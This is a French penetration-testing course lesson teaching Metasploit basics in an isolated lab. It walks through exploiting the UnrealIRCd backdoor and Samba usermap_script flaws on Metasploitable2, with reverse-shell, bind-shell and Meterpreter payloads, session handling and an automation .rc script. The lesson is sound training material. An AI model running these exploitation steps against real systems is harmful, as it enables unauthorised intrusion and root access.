← Accueil

PCTAMALOU

Semaine 17 : Le Premier Shell – Introduction Approfondie à Metasploit et Exploitation Basique

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Maîtriser Metasploit Framework pour exploiter une vulnérabilité connue et obtenir votre premier shell distant. Comprendre l'architecture modulaire, configurer correctement les exploits et payloads, et gérer des sessions - première expérience contrôlée de l'exploitation éthique.

Moment historique : Cette semaine, vous passez de "je comprends les vulnérabilités" à "je les exploite". C'est le point de basculement entre la théorie et la pratique offensive.

graph TD A["🎯 Cible vulnérable
Metasploitable2"] --> B{"⚡ Metasploit Framework"} subgraph "📁 Modules Metasploit" C1["💥 Exploits
+2,000 modules"] C2["📦 Payloads
Bind/Reverse/Meterpreter"] C3["🛠️ Auxiliary
Scanners, Fuzzers, DoS"] C4["🔀 Encoders
Évasion antivirus"] C5["📋 Post
Post-exploitation"] end subgraph "🎯 Workflow d'exploitation" D1["📥 msfconsole"] D2["⚙️ Configuration"] D3["🚀 run / exploit"] D4["🎪 Shell obtenue"] end B --> C1 B --> C2 B --> C3 B --> C4 B --> C5 B --> D1 B --> D2 B --> D3 B --> D4 C1 --> E["🔓 Vulnérabilité exploitée"] C2 --> F["💻 Code exécuté
sur la cible"] E --> G["🎯 Accès initial"] F --> G D3 --> G G --> H{"📊 Type de shell obtenu"} H --> I["🐚 Shell standard"] H --> J["🦎 Meterpreter"] H --> K["🔧 Shell interactive
(pty)"] I --> L["⚔️ Phase de Post-exploitation
(Semaines 18-20)"] J --> L K --> L style G fill:#ef4444,stroke:#000,stroke-width:3px,color:#fff style L fill:#9d4edd,stroke:#fff,stroke-width:3px,color:#fff style J fill:#00f5a0,stroke:#000,stroke-width:2px,color:#000 style A fill:#7c2d12,stroke:#f97316,stroke-width:2px,color:#fff style B fill:#1e3a8a,stroke:#60a5fa,stroke-width:2px,color:#fff

📚 Sujet – Théorie (1 heure)

Metasploit : Le couteau suisse de l'exploitation

Metasploit n'est pas un simple outil d'exploitation. C'est un framework complet qui standardise et automatise le processus d'exploitation, de la reconnaissance à la post-exploitation.

🔄 Architecture modulaire de Metasploit

1. Interface et Base de données

msfconsole : Interface principale, complète, scriptable

msfdb : Base de données PostgreSQL pour stocker les résultats, cibles, sessions

Autres interfaces : msfgui (graphique), msfcli (ligne de commande), armitage (interface avancée)

2. Modules - Le cœur du framework

Exploits : Code qui exploite une vulnérabilité spécifique (~2,000 modules)

Payloads : Code exécuté après exploitation réussie (reverse shell, VNC, etc.)

Auxiliary : Modules utilitaires (scanners, fuzzers, sniffers, DoS)

Encoders : Modification des payloads pour échapper aux antivirus

Post : Modules de post-exploitation (escalade, pivot, dump)

3. Workflow standardisé

Recherche : search [critères] - trouver le module adapté

Configuration : set [option] [valeur] - adapter à la cible

Vérification : show options - confirmer la configuration

Exécution : exploit ou run - lancer l'exploitation

Gestion : sessions - gérer les sessions obtenues

4. Sessions et post-exploitation

Shells : Sessions de commande obtenues après exploitation

Meterpreter : Shell avancé avec fonctions intégrées (upload, download, keylog, etc.)

Migration : Changer de processus pour plus de stabilité

Persistence : Maintenir l'accès après redémarrage

Les payloads : comprendre ce que vous exécutez

Le choix du payload est critique. Un mauvais payload = pas de shell, ou pire, crash de la cible.

🔗 Bind Shell

Fonctionnement : Ouvre un port sur la cible, vous vous connectez à lui

Avantages : Simple, pas de configuration LHOST

Inconvénients : Facile à détecter (nouveau port ouvert), bloque si firewall

Cas d'usage : Réseaux internes, pas de NAT/firewall

Exemple : linux/x86/shell_bind_tcp

🔄 Reverse Shell

Fonctionnement : La cile se connecte à vous sur votre port d'écoute

Avantages : Traverse mieux les firewalls, plus discret

Inconvénients : Nécessite LHOST accessible depuis la cible

Cas d'usage : Scénario standard, internet, réseaux avec NAT

Exemple : linux/x86/shell_reverse_tcp

🦎 Meterpreter

Fonctionnement : Shell avancé en mémoire (pas sur disque)

Avantages : Furtif, riche en fonctionnalités, chiffré

Inconvénients : Plus volumineux, nécessite stagers parfois

Cas d'usage : Pentest professionnel, maintien d'accès

Exemple : linux/x86/meterpreter/reverse_tcp

⚠️ Éthique et sécurité - Règles absolues

  1. Autorisation écrite : Jamais sans accord explicite
  2. Lab isolé : Toujours tester d'abord sur Metasploitable2 dans votre réseau Host-Only
  3. Documentation : Notez chaque commande, chaque résultat
  4. Impact minimal : Évitez les modules DoS, ne corrompez pas les données
  5. Nettoyage : Fermez les sessions, ne laissez pas de backdoors

Comprendre l'exploit UnrealIRCd

L'exploit que vous allez utiliser (CVE-2010-2075) est un classique pédagogique :

  • Vulnérabilité : Backdoor intentionnelle dans le code source d'UnrealIRCd 3.2.8.1
  • Mécanisme : Le serveur exécute toute commande précédée de "AB" sans authentification
  • Impact : Remote Code Execution avec les privilèges du service IRC
  • Leçon : L'importance de vérifier les sources des logiciels téléchargés

🔍 Anatomie de l'exploit Metasploit

Un module Metasploit contient :

  1. Métadonnées : Description, auteurs, références CVE
  2. Configuration : Options obligatoires (RHOSTS, RPORT) et optionnelles
  3. Fonction d'exploitation : Code qui envoie la charge malveillante
  4. Gestion de payload : Comment délivrer et exécuter le payload
  5. Gestion d'erreurs : Que faire en cas d'échec

🔬 Mission pratique – Laboratoire (2 heures)

🏁 Configuration critique : Votre lab DOIT être en réseau Host-Only. Vérifiez que Kali et Metasploitable2 peuvent se ping mutuellement mais n'ont PAS accès à Internet.

Étape 1 : Préparation et vérification

# Vérification de l'environnement
ip a | grep "inet "  # IP de Kali (ex: 192.168.56.101)
ping -c 2 192.168.56.102  # Metasploitable2 doit répondre

# Vérification de Metasploit
msfconsole --version
sudo systemctl status postgresql  # La DB doit être active

# Initialisation de la base de données (si premier lancement)
sudo msfdb init
sudo msfdb start

# Backup du lab (IMPORTANT)
# Dans VirtualBox : Snapshot → Pre-Exploitation-S17

Étape 2 : Premier contact avec msfconsole

# Lancement de Metasploit
msfconsole -q  # -q pour mode quiet (moins de bannière)

# À l'intérieur de msfconsole :
# ============================

# 1. Exploration de l'interface
help                          # Affiche toutes les commandes disponibles
banner                        # Affiche la bannière (esthétique)
version                       # Version de Metasploit

# 2. Connexion à la base de données
db_status                     # Vérifie la connexion à la DB
workspace                     # Affiche l'espace de travail actuel
workspace -a PCTAMALOU_S17    # Crée un nouvel espace de travail
workspace PCTAMALOU_S17       # Bascule dessus

# 3. Import des données précédentes (optionnel)
# Si vous avez des scans Nmap/OpenVAS en XML :
db_import ~/nmap_scan.xml
services                      # Affiche les services importés
hosts                         # Affiche les hôtes connus

Étape 3 : Recherche et sélection de l'exploit

# Dans msfconsole :

# Recherche d'exploits pour Metasploitable2
search unreal_ircd
# Devrait trouver : exploit/unix/irc/unreal_ircd_3281_backdoor

# Recherche par CVE (depuis votre rapport OpenVAS S15)
search CVE-2010-2075
search CVE-2007-2447
search samba 3.0.20

# Affichage d'information sur un module
info exploit/unix/irc/unreal_ircd_3281_backdoor
# Notez : Description, auteurs, références, options requises

# Sélection du module
use exploit/unix/irc/unreal_ircd_3281_backdoor
# Prompt change : msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >

Étape 4 : Configuration complète de l'exploit

# Dans le contexte de l'exploit :

# 1. Affichage des options
show options
# Options requises : RHOSTS (Remote Host), RPORT (Remote Port)
# Options optionnelles : diverses selon l'exploit

# 2. Configuration des options obligatoires
set RHOSTS 192.168.56.102  # IP de Metasploitable2
set RPORT 6667             # Port d'UnrealIRCd

# 3. Affichage des payloads disponibles
show payloads
# Liste des payloads compatibles avec cet exploit

# 4. Sélection et configuration du payload
set PAYLOAD cmd/unix/reverse
# Simple reverse shell en commandes Unix

# Configuration du payload
show options
# Notez les nouvelles options du payload : LHOST, LPORT
set LHOST 192.168.56.101   # IP de votre Kali
set LPORT 4444             # Port d'écoute local

# 5. Vérification finale
show options
# Tous les champs Required doivent être en vert (set)

# 6. Configuration avancée (optionnel)
set VERBOSE true           # Plus d'information pendant l'exploitation
set ExitOnSession false    # Ne pas quitter après une session

Étape 5 : Exploitation et premier shell

# 1. Vérification avant lancement
check
# Certains modules supportent check pour vérifier la vulnérabilité
# Note : Pas tous les modules ont cette fonction

# 2. Lancement de l'exploitation
exploit
# ou
run

# 3. Comportement attendu :
# [+] Started reverse TCP handler on 192.168.56.101:4444
# [+] 192.168.56.102:6667 - Connected to 192.168.56.102:6667...
# [+] 192.168.56.102:6667 - Sending backdoor command...
# [+] 192.168.56.102:6667 - Command shell session 1 opened

# 4. Vous êtes maintenant dans un shell !
# Le prompt change : C:\Windows\System32> (simulation) ou simplement #

# 5. Premières commandes de vérification
whoami
# Réponse : ircd (ou autre utilisateur)
id
# uid=105(ircd) gid=65534(nogroup) groups=65534(nogroup)
uname -a
# Linux metasploitable 2.6.24-16-server #1...
pwd
# /home/ircd/unreal3.2.8.1
ls -la

Étape 6 : Gestion des sessions

📊 Gestion professionnelle des sessions

# Dans le shell obtenu :
# Tapez Ctrl+Z pour mettre en arrière-plan
# Ou si cela ne marche pas, tapez simplement 'background'

# Vous retournez dans msfconsole
sessions -l
# Liste toutes les sessions actives
# Session 1 : 192.168.56.102:6667 → 192.168.56.101:4444 (ircd)

# Reprendre une session
sessions -i 1
# -i pour interagir avec la session 1

# Basculer entre sessions
# Ctrl+Z pour mettre en arrière-plan
# sessions -i 2 pour une autre session

# Interagir avec une session sans y entrer
sessions -c "whoami" 1
# Exécute whoami dans la session 1 sans y entrer

# Tuer une session
sessions -k 1
# Kill la session 1

# Mettre à niveau un shell en Meterpreter (si possible)
sessions -u 1
# Tente d'upgrader la session 1 en Meterpreter

Étape 7 : Expérimentation avec différents payloads

# Retour à l'exploit
back
# Vous quittez le contexte de l'exploit

# Essai avec un payload bind shell
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set RPORT 6667
set PAYLOAD cmd/unix/bind
set LPORT 5555  # Port à ouvrir sur la cible
exploit

# Si succès : bind shell sur 192.168.56.102:5555

# Essai avec Meterpreter (plus avancé)
back
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set RPORT 6667
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4445  # Un port différent
exploit

# Dans Meterpreter :
# meterpreter > help
# meterpreter > sysinfo
# meterpreter > getuid
# meterpreter > ps
# meterpreter > shell  # Pour obtenir un shell standard

Étape 8 : Exploitation d'une seconde vulnérabilité

# Exploitation de Samba (CVE-2007-2447)
search samba 3.0.20
use exploit/multi/samba/usermap_script
show options
set RHOSTS 192.168.56.102
set RPORT 139  # Port SMB
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
set LPORT 4446
exploit

# Notez les différences :
# - Port différent (139 vs 6667)
# - Mécanisme différent (Samba vs IRC)
# - Utilisateur obtenu (root vs ircd)

Étape 9 : Script d'automatisation et documentation

# Création d'un script d'automatisation
cat > metasploit_auto.rc << 'EOF'
# Script d'automatisation Metasploit - PCTAMALOU S17
# Usage : msfconsole -r metasploit_auto.rc

# Configuration globale
setg VERBOSE true
setg ExitOnSession false

# Exploit 1 : UnrealIRCd
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set RPORT 6667
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
set LPORT 4444
exploit -j  # -j pour jobify (tourne en arrière-plan)

# Exploit 2 : Samba
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.102
set RPORT 139
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
set LPORT 4445
exploit -j

# Liste des sessions
sleep 5
sessions -l
EOF

# Exécution du script
msfconsole -r metasploit_auto.rc -q

# Documentation des résultats
cat > exploitation_report.md << 'EOF'
# Rapport d'Exploitation - PCTAMALOU S17
## Date: $(date)

## 1. Cibles exploitées
### 1.1 UnrealIRCd (192.168.56.102:6667)
- **CVE**: CVE-2010-2075
- **Exploit**: unreal_ircd_3281_backdoor
- **Payload**: cmd/unix/reverse
- **Utilisateur obtenu**: ircd
- **Privilèges**: Bas (non-root)
- **Session ID**: 1

### 1.2 Samba (192.168.56.102:139)
- **CVE**: CVE-2007-2447
- **Exploit**: usermap_script
- **Payload**: cmd/unix/reverse
- **Utilisateur obtenu**: root
- **Privilèges**: Élevés (root)
- **Session ID**: 2

## 2. Commandes exécutées avec succès
- whoami, id, uname -a, pwd, ls, ps aux

## 3. Observations
- UnrealIRCd donne un shell ircd (limité)
- Samba donne un shell root (plein accès)
- Meterpreter fonctionne mais nécessite plus de mémoire

## 4. Recommandations
1. **Priorité**: Utiliser la session root (Samba) pour post-exploitation
2. **Sécurité**: Changer tous les mots de passe sur Metasploitable2
3. **Documentation**: Ces résultats servent de baseline pour les tests
EOF

Étape 10 : Nettoyage et bonnes pratiques

# Dans msfconsole :

# Fermeture propre des sessions
sessions -K
# Kill toutes les sessions

# Arrêt des jobs
jobs -K
# Kill tous les jobs en cours

# Nettoyage de la base de données
hosts -c address,os_name  # Vérification
# hosts -d 192.168.56.102  # Pour supprimer si nécessaire

# Sortie propre
exit -y

# Vérification système après exploitation
sudo netstat -tulpn | grep 4444
# Aucun processus ne doit écouter sur vos ports d'exploitation

# Snapshot post-exploitation
# VirtualBox : Snapshot → Post-Exploitation-S17

🎯 Défi professionnel : Maître des shells

Sur Metasploitable2, réalisez les exploits suivants et documentez les différences :

  1. Obtenez 3 shells différents sur 3 services différents (UnrealIRCd, Samba, vsftpd)
  2. Pour chaque shell, notez :
    • L'utilisateur obtenu et ses privilèges
    • Les limitations du shell (pty? full shell?)
    • La stabilité de la connexion
    • Les commandes disponibles
  3. Créez un tableau comparatif des 3 méthodes d'exploitation
  4. Écrivez un script Metasploit qui automatise l'obtention des 3 shells
  5. Développez un guide "Cheat Sheet Metasploit" pour débutants

Livrable : Rapport complet + script .rc + cheat sheet.

📋 Objectif de la semaine – Validation des compétences

✅ Compétences techniques acquises

  • Navigation et utilisation de base de msfconsole
  • Recherche et sélection d'exploits appropriés
  • Configuration complète d'un module (RHOSTS, PAYLOAD, etc.)
  • Exploitation réussie d'au moins 2 services sur Metasploitable2
  • Gestion professionnelle des sessions (list, interact, kill)

🧠 Mindset développé

  • Compréhension de la différence entre vulnérabilité théorique et exploitation pratique
  • Habitude de toujours documenter avant, pendant et après l'exploitation
  • Conscience des privilèges obtenus (root vs user limité) et de leurs implications
  • Approche méthodique : préparation → configuration → exploitation → documentation

🔮 Préparation pour la semaine 18 :

Vous avez maintenant des shells. La semaine prochaine, nous allons les utiliser pour faire des dégâts contrôlés (post-exploitation). Assurez-vous d'avoir :

  • Au moins une session root active sur Metasploitable2
  • Compris la différence entre shell standard et Meterpreter
  • Une idée de ce que vous pourriez faire avec un accès root
  • Votre lab toujours parfaitement isolé (Host-Only)

📚 Ressources avancées

Pour devenir expert Metasploit :

⚠️ Pièges courants et solutions

  • "Exploit completed but no session" : Vérifiez LHOST/LPORT, firewall, payload compatibility
  • Session qui meurt immédiatement : Essayez un payload différent, vérifiez la stabilité
  • Meterpreter qui ne marche pas : Certaines cibles n'ont pas les dépendances nécessaires
  • Base de données corrompue : sudo msfdb reinit (perte des données)
  • Slow performance : Augmentez la RAM de la VM, limitez les modules chargés

🐚 Frère d'armes,

Cette semaine, vous avez franchi un seuil historique : vous avez obtenu votre premier shell.

Ce n'est pas "juste" une ligne de commande. C'est une porte ouverte. Une faille théorique qui est devenue un accès pratique. Une CVE abstraite qui est devenue un utilisateur réel, des fichiers réels, un système réel que vous contrôlez.

Metasploit est la baguette magique qui a transformé votre connaissance en pouvoir. Mais souvenez-vous :

  • Un magicien qui ne comprend pas ses sorts est un danger pour lui-même
  • Un pentester qui ne comprend pas ses exploits est un script kiddie
  • Un Gardien qui comprend ses outils est un professionnel

Vous avez vu la différence entre un shell ircd (limité) et un shell root (tout-puissant). Vous avez expérimenté la joie du "Exploit completed, session opened". Vous avez connu la frustration du "Exploit completed but no session".

Ces émotions, ces réussites, ces échecs - c'est l'apprentissage réel. La théorie dans les semaines précédentes était nécessaire, mais cette semaine, vous avez ressenti l'exploitation.

La semaine 17 marque votre passage du côté obscur de la force. Mais rappelez-vous la leçon de Yoda : "Once you start down the dark path, forever will it dominate your destiny."

Vous n'êtes pas sur le chemin obscur. Vous êtes sur le chemin du Gardien. Vous apprenez à ouvrir les portes pour prouver qu'elles étaient mal fermées, pas pour voler ce qui est derrière.

Votre premier shell est une victoire. Savourez-la. Documentez-la. Comprenez-la.

Puis préparez-vous. Parce qu'un shell n'est que le début. Maintenant que vous êtes à l'intérieur, il faut savoir quoi faire.

La post-exploitation commence bientôt.

— Platon-Y